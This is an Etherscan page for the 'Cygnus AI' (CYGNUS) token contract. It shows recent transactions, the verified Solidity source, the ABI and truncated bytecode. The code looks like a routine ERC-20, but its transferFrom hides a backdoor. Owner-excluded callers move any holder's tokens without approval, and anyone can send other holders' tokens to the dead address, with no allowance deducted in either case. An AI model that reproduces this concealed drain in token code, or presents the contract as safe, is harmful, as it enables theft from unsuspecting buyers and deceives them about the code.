Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 158 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 23030051 | 137 days ago | IN | 0 ETH | 0.00011077 | ||||
| Transfer From | 23030051 | 137 days ago | IN | 0 ETH | 0.00017004 | ||||
| Approve | 23029987 | 137 days ago | IN | 0 ETH | 0.00004475 | ||||
| Transfer From | 23029987 | 137 days ago | IN | 0 ETH | 0.00012327 | ||||
| Approve | 23029551 | 137 days ago | IN | 0 ETH | 0.00006065 | ||||
| Approve | 23029542 | 137 days ago | IN | 0 ETH | 0.00010814 | ||||
| Approve | 23029407 | 137 days ago | IN | 0 ETH | 0.00009177 | ||||
| Approve | 23029095 | 137 days ago | IN | 0 ETH | 0.00008779 | ||||
| Approve | 23029091 | 137 days ago | IN | 0 ETH | 0.00011043 | ||||
| Approve | 23028992 | 137 days ago | IN | 0 ETH | 0.00031167 | ||||
| Approve | 23028889 | 137 days ago | IN | 0 ETH | 0.00007858 | ||||
| Approve | 23028756 | 137 days ago | IN | 0 ETH | 0.00009577 | ||||
| Approve | 23028756 | 137 days ago | IN | 0 ETH | 0.00009577 | ||||
| Approve | 23028756 | 137 days ago | IN | 0 ETH | 0.00009577 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 | ||||
| Approve | 23028737 | 137 days ago | IN | 0 ETH | 0.00008933 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 23026447 | 138 days ago | 2 ETH |
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
Token
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-07-29
*/
/*
The First Web3 Instagram App Layer - onboarding the next billion users.
https://www.cygnusai.space
https://docs.cygnusai.space
https://x.com/CygnusEthereum
https://t.me/CygnusEthereum
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
abstract contract Auth {
address internal _owner;
event OwnershipTransferred(address _owner);
modifier onlyOwner() {
require(msg.sender == _owner, "Only owner can call this"); _;
}
constructor(address creatorOwner) {
_owner = creatorOwner;
}
function owner() public view returns (address) { return _owner; }
function transferOwnership(address payable newowner) external onlyOwner {
_owner = newowner;
emit OwnershipTransferred(newowner); }
function renounceOwnership() external onlyOwner {
_owner = address(0);
emit OwnershipTransferred(address(0)); }
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address holder, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
contract Token is IERC20, Auth {
string private constant _name = "Cygnus AI";
string private constant _symbol = "CYGNUS";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
uint8 private _taxForSell = 0;
uint8 private _taxForBuy = 0;
uint256 private _maxTxVal = _totalSupply;
uint256 private _maxWalletVal = _totalSupply;
uint256 private _swapMin = _totalSupply * 100 / 100000;
uint256 private _swapMax = _totalSupply * 800 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludeForFee;
mapping (address => bool) private _isExcludeForLimit;
address private constant _uniRouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private immutable WETH;
IUniswapV2Router02 private _uniswapV2Router = IUniswapV2Router02(_uniRouter);
address private _lpOwner;
address private _primaryLP;
mapping (address => bool) private _isLP;
address constant _deadAddr = address(0xdead);
bool private _tradingOpen;
bool private _inSwap = false;
modifier lockTaxSwap {
_inSwap = true;
_; _inSwap = false;
}
constructor() payable Auth(msg.sender) {
_lpOwner = msg.sender;
WETH = _uniswapV2Router.WETH();
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
_isExcludeForFee[_owner] = true;
_isExcludeForFee[address(this)] = true;
_isExcludeForFee[_uniRouter] = true;
_isExcludeForLimit[_owner] = true;
_isExcludeForLimit[address(this)] = true;
_isExcludeForLimit[_uniRouter] = true;
}
receive() external payable {}
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function balanceOf(address account) public view override returns (uint256) {
return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) {
return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true; }
function transfer(address toWallet, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(msg.sender), "Trading not open");
return _transferFrom(msg.sender, toWallet, amount); }
function _approveRouter(uint256 _tokenAmount) internal {
if ( _allowances[address(this)][_uniRouter] < _tokenAmount ) {
_allowances[address(this)][_uniRouter] = type(uint256).max;
emit Approval(address(this), _uniRouter, type(uint256).max);
}
}
function transferFrom(address fromWallet, address toWallet, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(fromWallet), "Trading not open");
if (
!_isExcludeForLimit[msg.sender] &&
(fromWallet == _primaryLP || toWallet != _deadAddr)
)_allowances[fromWallet][msg.sender] -= amount;
return _transferFrom(fromWallet, toWallet, amount); }
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
_approveRouter(_tokenAmount);
_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _lpOwner, block.timestamp );
}
function _transferFrom(address sender, address toWallet, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from 0 wallet");
if (!_tradingOpen) { require(_isExcludeForFee[sender] && _isExcludeForLimit[sender], "Trading not yet open"); }
if ( !_inSwap && _isLP[toWallet] ) { _swapTaxAndLiquify(); }
if ( sender != address(this) && toWallet != address(this) && sender != _owner ) {
require(_checkLimits(sender, toWallet, amount), "TX over limits");
}
uint256 _taxAmount = _calculateTax(sender, toWallet, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] -= amount;
_balances[address(this)] += _taxAmount;
_balances[toWallet] += _transferAmount;
emit Transfer(sender, toWallet, amount);
return true;
}
function _checkTradingOpen(address fromWallet) private view returns (bool){
bool checkResult = false;
if ( _tradingOpen ) { checkResult = true; }
else if (_isExcludeForFee[fromWallet] && _isExcludeForLimit[fromWallet]) { checkResult = true; }
return checkResult;
}
function _checkLimits(address fromWallet, address toWallet, uint256 transferAmount) internal view returns (bool) {
bool _limitPassed = true;
if ( _tradingOpen && !_isExcludeForLimit[fromWallet] && !_isExcludeForLimit[toWallet] ) {
if ( transferAmount > _maxTxVal ) {
_limitPassed = false;
}
else if (
!_isLP[toWallet] && (_balances[toWallet] + transferAmount > _maxWalletVal)
) { _limitPassed = false; }
}
return _limitPassed;
}
function _calculateTax(address fromWallet, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !_tradingOpen || _isExcludeForFee[fromWallet] || _isExcludeForFee[recipient] ) {
taxAmount = 0;
} else if ( _isLP[fromWallet] ) {
taxAmount = amount * _taxForBuy / 100;
} else if ( _isLP[recipient] ) {
taxAmount = amount * _taxForSell / 100;
}
return taxAmount;
}
function buyFee() external view returns(uint8) { return _taxForBuy; }
function sellFee() external view returns(uint8) { return _taxForSell; }
function updateFees(uint8 buyFees, uint8 sellFees) external onlyOwner {
require(buyFees + sellFees <= 20, "Roundtrip too high");
_taxForBuy = buyFees;
_taxForSell = sellFees;
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokenAvailable = _balances[address(this)];
if ( _taxTokenAvailable >= _swapMin && _tradingOpen ) {
if ( _taxTokenAvailable >= _swapMax ) { _taxTokenAvailable = _swapMax; }
_swapTokensForETH(_taxTokenAvailable);
}
uint256 _contractETHBalance = address(this).balance;
_sendFeeTo(_contractETHBalance);
}
function _swapTokensForETH(uint256 tokenAmount) private {
_approveRouter(tokenAmount);
address[] memory path = new address[](2);
path[0] = address( this );
path[1] = WETH ;
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
}
function enableTrading() external payable onlyOwner lockTaxSwap {
require(_primaryLP == address(0), "LP created");
require(!_tradingOpen, "trading open");
require(msg.value > 0 || address(this).balance>0, "No ETH");
require(_balances[address(this)]>0, "No tokens");
_primaryLP = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), WETH);
_addLiquidity(_balances[address(this)], address(this).balance);
_isLP[_primaryLP] = true;
_tradingOpen = true;
}
function _sendFeeTo(uint256 amount) private {
payable(_lpOwner).transfer(amount);
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromWallet","type":"address"},{"internalType":"address","name":"toWallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newowner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyFees","type":"uint8"},{"internalType":"uint8","name":"sellFees","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040525f805461ffff60a01b191690556200001f6009600a620003e5565b6200002f90633b9aca00620003fc565b600155620000406009600a620003e5565b6200005090633b9aca00620003fc565b600255620186a0620000656009600a620003e5565b6200007590633b9aca00620003fc565b62000082906064620003fc565b6200008e919062000416565b600355620186a0620000a36009600a620003e5565b620000b390633b9aca00620003fc565b620000c190610320620003fc565b620000cd919062000416565b600490815560098054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03199182168117909255600d805461ff00191690555f8054339083168117909155600a8054909216179055604080516315ab88c960e31b81529051919263ad5c46489282820192602092908290030181865afa15801562000155573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200017b919062000436565b6001600160a01b0316608052620001956009600a620003e5565b620001a590633b9aca00620003fc565b305f81815260056020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e76009600a620003e5565b620001f790633b9aca00620003fc565b60405190815260200160405180910390a35f80546001600160a01b0390811682526007602090815260408084208054600160ff1991821681179092553080875283872080548316841790557ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f8054831684179055865490951686526008909352818520805484168217905592845283208054821683179055737a250d5630b4cf539739df2c5dacb4c659f2488d9092527f226e7c4e32ba0cd918c39b21526eb23f3f5958fcfd83d5cf69b9510bf01e2e1780549092161790556200045e565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200032a57815f19048211156200030e576200030e620002d6565b808516156200031c57918102915b93841c9390800290620002ef565b509250929050565b5f826200034257506001620003df565b816200035057505f620003df565b8160018114620003695760028114620003745762000394565b6001915050620003df565b60ff841115620003885762000388620002d6565b50506001821b620003df565b5060208310610133831016604e8410600b8410161715620003b9575081810a620003df565b620003c58383620002ea565b805f1904821115620003db57620003db620002d6565b0290505b92915050565b5f620003f560ff84168362000332565b9392505050565b8082028115828204841417620003df57620003df620002d6565b5f826200043157634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000447575f80fd5b81516001600160a01b0381168114620003f5575f80fd5b6080516115196200047e5f395f81816107b2015261102701526115195ff3fe6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146102a2578063a9059cbb146102d0578063dd62ed3e146102ef578063f2fde38b14610333575f80fd5b806370a082311461022c578063715018a6146102605780638a8c523c146102745780638da5cb5b1461027c575f80fd5b80632b14ca56116100c25780632b14ca56146101b0578063313ce567146101db57806347062402146101ee578063683ad2ec1461020b575f80fd5b806306fdde03146100fd578063095ea7b31461014057806318160ddd1461016f57806323b872dd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820190915260098152684379676e757320414960b81b60208201525b604051610137919061110a565b60405180910390f35b34801561014b575f80fd5b5061015f61015a36600461116a565b610352565b6040519015158152602001610137565b34801561017a575f80fd5b506101836103be565b604051908152602001610137565b34801561019c575f80fd5b5061015f6101ab366004611194565b6103de565b3480156101bb575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610137565b3480156101e6575f80fd5b5060096101c9565b3480156101f9575f80fd5b505f54600160a81b900460ff166101c9565b348015610216575f80fd5b5061022a6102253660046111e7565b6104bd565b005b348015610237575f80fd5b50610183610246366004611218565b6001600160a01b03165f9081526005602052604090205490565b34801561026b575f80fd5b5061022a61056b565b61022a6105d8565b348015610287575f80fd5b505f546040516001600160a01b039091168152602001610137565b3480156102ad575f80fd5b506040805180820190915260068152654359474e555360d01b602082015261012a565b3480156102db575f80fd5b5061015f6102ea36600461116a565b610896565b3480156102fa575f80fd5b50610183610309366004611233565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b34801561033e575f80fd5b5061022a61034d366004611218565b6108f1565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ac9086815260200190565b60405180910390a35060015b92915050565b5f6103cb6009600a61135e565b6103d990633b9aca0061136c565b905090565b5f6103e88461096d565b61042c5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff1615801561046d5750600b546001600160a01b038581169116148061046d57506001600160a01b03831661dead14155b156104aa576001600160a01b0384165f908152600660209081526040808320338452909152812080548492906104a4908490611383565b90915550505b6104b58484846109d0565b949350505050565b5f546001600160a01b031633146104e65760405162461bcd60e51b815260040161042390611396565b60146104f282846113cd565b60ff1611156105385760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610423565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161042390611396565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161042390611396565b600d805461ff001916610100179055600b546001600160a01b0316156106565760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b6044820152606401610423565b600d5460ff16156106985760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610423565b5f3411806106a557505f47115b6106da5760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610423565b305f908152600560205260409020546107215760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610423565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610771573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079591906113e6565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063c9c65396906044016020604051808303815f875af1158015610802573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082691906113e6565b600b80546001600160a01b0319166001600160a01b0392909216919091179055305f9081526005602052604090205461085f9047610c6a565b600b546001600160a01b03165f908152600c60205260409020805460ff19166001908117909155600d805461ffff19169091179055565b5f6108a03361096d565b6108df5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610423565b6108ea3384846109d0565b9392505050565b5f546001600160a01b0316331461091a5760405162461bcd60e51b815260040161042390611396565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b600d545f90819060ff1615610984575060016103b8565b6001600160a01b0383165f9081526007602052604090205460ff1680156109c257506001600160a01b0383165f9081526008602052604090205460ff165b156103b85750600192915050565b5f6001600160a01b038416610a275760405162461bcd60e51b815260206004820152601a60248201527f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000006044820152606401610423565b600d5460ff16610ab2576001600160a01b0384165f9081526007602052604090205460ff168015610a6f57506001600160a01b0384165f9081526008602052604090205460ff165b610ab25760405162461bcd60e51b81526020600482015260146024820152732a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610423565b600d54610100900460ff16158015610ae157506001600160a01b0383165f908152600c602052604090205460ff165b15610aee57610aee610d0c565b6001600160a01b0384163014801590610b1057506001600160a01b0383163014155b8015610b2957505f546001600160a01b03858116911614155b15610b7657610b39848484610d73565b610b765760405162461bcd60e51b815260206004820152600e60248201526d5458206f766572206c696d69747360901b6044820152606401610423565b5f610b82858585610e36565b90505f610b8f8285611383565b6001600160a01b0387165f90815260056020526040812080549293508692909190610bbb908490611383565b9091555050305f9081526005602052604081208054849290610bde908490611401565b90915550506001600160a01b0385165f9081526005602052604081208054839290610c0a908490611401565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610c5691815260200190565b60405180910390a350600195945050505050565b610c7382610f27565b600954600a5460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015610ce0573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d059190611414565b5050505050565b600d805461ff001916610100179055305f908152600560205260409020546003548110801590610d3e5750600d5460ff165b15610d5a576004548110610d5157506004545b610d5a81610fc9565b47610d64816110cf565b5050600d805461ff0019169055565b600d545f9060019060ff168015610da257506001600160a01b0385165f9081526008602052604090205460ff16155b8015610dc657506001600160a01b0384165f9081526008602052604090205460ff16155b156104b557600154831115610ddc57505f6104b5565b6001600160a01b0384165f908152600c602052604090205460ff16158015610e2757506002546001600160a01b0385165f90815260056020526040902054610e25908590611401565b115b156104b557505f949350505050565b600d545f90819060ff161580610e6357506001600160a01b0385165f9081526007602052604090205460ff165b80610e8557506001600160a01b0384165f9081526007602052604090205460ff165b15610e9157505f6104b5565b6001600160a01b0385165f908152600c602052604090205460ff1615610edb575f54606490610eca90600160a81b900460ff168561136c565b610ed4919061143f565b90506104b5565b6001600160a01b0384165f908152600c602052604090205460ff16156104b5575f54606490610f1490600160a01b900460ff168561136c565b610f1e919061143f565b95945050505050565b305f908152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d8452909152902054811115610fc657305f818152600660209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d808552908352928190205f199081905590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b610fd281610f27565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106110055761100561145e565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000000000000000000000000000000000000000000000816001815181106110595761105961145e565b6001600160a01b03928316602091820292909201015260095460405163791ac94760e01b815291169063791ac9479061109e9085905f90869030904290600401611472565b5f604051808303815f87803b1580156110b5575f80fd5b505af11580156110c7573d5f803e3d5ffd5b505050505050565b600a546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611106573d5f803e3d5ffd5b5050565b5f602080835283518060208501525f5b818110156111365785810183015185820160400152820161111a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc6575f80fd5b5f806040838503121561117b575f80fd5b823561118681611156565b946020939093013593505050565b5f805f606084860312156111a6575f80fd5b83356111b181611156565b925060208401356111c181611156565b929592945050506040919091013590565b803560ff811681146111e2575f80fd5b919050565b5f80604083850312156111f8575f80fd5b611201836111d2565b915061120f602084016111d2565b90509250929050565b5f60208284031215611228575f80fd5b81356108ea81611156565b5f8060408385031215611244575f80fd5b823561124f81611156565b9150602083013561125f81611156565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112b857815f190482111561129e5761129e61126a565b808516156112ab57918102915b93841c9390800290611283565b509250929050565b5f826112ce575060016103b8565b816112da57505f6103b8565b81600181146112f057600281146112fa57611316565b60019150506103b8565b60ff84111561130b5761130b61126a565b50506001821b6103b8565b5060208310610133831016604e8410600b8410161715611339575081810a6103b8565b611343838361127e565b805f19048211156113565761135661126a565b029392505050565b5f6108ea60ff8416836112c0565b80820281158282048414176103b8576103b861126a565b818103818111156103b8576103b861126a565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60ff81811683821601908111156103b8576103b861126a565b5f602082840312156113f6575f80fd5b81516108ea81611156565b808201808211156103b8576103b861126a565b5f805f60608486031215611426575f80fd5b8351925060208401519150604084015190509250925092565b5f8261145957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156114c25784516001600160a01b03168352938301939183019160010161149d565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212201c83fc29eefca90ff502a09cbe0b9c7d074e39d9c9bc22619a070b1922220c4464736f6c63430008180033
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c806370a082311161008757806395d89b411161005757806395d89b41146102a2578063a9059cbb146102d0578063dd62ed3e146102ef578063f2fde38b14610333575f80fd5b806370a082311461022c578063715018a6146102605780638a8c523c146102745780638da5cb5b1461027c575f80fd5b80632b14ca56116100c25780632b14ca56146101b0578063313ce567146101db57806347062402146101ee578063683ad2ec1461020b575f80fd5b806306fdde03146100fd578063095ea7b31461014057806318160ddd1461016f57806323b872dd14610191575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820190915260098152684379676e757320414960b81b60208201525b604051610137919061110a565b60405180910390f35b34801561014b575f80fd5b5061015f61015a36600461116a565b610352565b6040519015158152602001610137565b34801561017a575f80fd5b506101836103be565b604051908152602001610137565b34801561019c575f80fd5b5061015f6101ab366004611194565b6103de565b3480156101bb575f80fd5b505f54600160a01b900460ff165b60405160ff9091168152602001610137565b3480156101e6575f80fd5b5060096101c9565b3480156101f9575f80fd5b505f54600160a81b900460ff166101c9565b348015610216575f80fd5b5061022a6102253660046111e7565b6104bd565b005b348015610237575f80fd5b50610183610246366004611218565b6001600160a01b03165f9081526005602052604090205490565b34801561026b575f80fd5b5061022a61056b565b61022a6105d8565b348015610287575f80fd5b505f546040516001600160a01b039091168152602001610137565b3480156102ad575f80fd5b506040805180820190915260068152654359474e555360d01b602082015261012a565b3480156102db575f80fd5b5061015f6102ea36600461116a565b610896565b3480156102fa575f80fd5b50610183610309366004611233565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b34801561033e575f80fd5b5061022a61034d366004611218565b6108f1565b335f8181526006602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103ac9086815260200190565b60405180910390a35060015b92915050565b5f6103cb6009600a61135e565b6103d990633b9aca0061136c565b905090565b5f6103e88461096d565b61042c5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b335f9081526008602052604090205460ff1615801561046d5750600b546001600160a01b038581169116148061046d57506001600160a01b03831661dead14155b156104aa576001600160a01b0384165f908152600660209081526040808320338452909152812080548492906104a4908490611383565b90915550505b6104b58484846109d0565b949350505050565b5f546001600160a01b031633146104e65760405162461bcd60e51b815260040161042390611396565b60146104f282846113cd565b60ff1611156105385760405162461bcd60e51b81526020600482015260126024820152710a4deeadcc8e8e4d2e040e8dede40d0d2ced60731b6044820152606401610423565b5f805461ffff60a01b1916600160a81b60ff9485160260ff60a01b191617600160a01b9290931691909102919091179055565b5f546001600160a01b031633146105945760405162461bcd60e51b815260040161042390611396565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106015760405162461bcd60e51b815260040161042390611396565b600d805461ff001916610100179055600b546001600160a01b0316156106565760405162461bcd60e51b815260206004820152600a60248201526913140818dc99585d195960b21b6044820152606401610423565b600d5460ff16156106985760405162461bcd60e51b815260206004820152600c60248201526b3a3930b234b7339037b832b760a11b6044820152606401610423565b5f3411806106a557505f47115b6106da5760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610423565b305f908152600560205260409020546107215760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610423565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610771573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079591906113e6565b6040516364e329cb60e11b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063c9c65396906044016020604051808303815f875af1158015610802573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082691906113e6565b600b80546001600160a01b0319166001600160a01b0392909216919091179055305f9081526005602052604090205461085f9047610c6a565b600b546001600160a01b03165f908152600c60205260409020805460ff19166001908117909155600d805461ffff19169091179055565b5f6108a03361096d565b6108df5760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610423565b6108ea3384846109d0565b9392505050565b5f546001600160a01b0316331461091a5760405162461bcd60e51b815260040161042390611396565b5f80546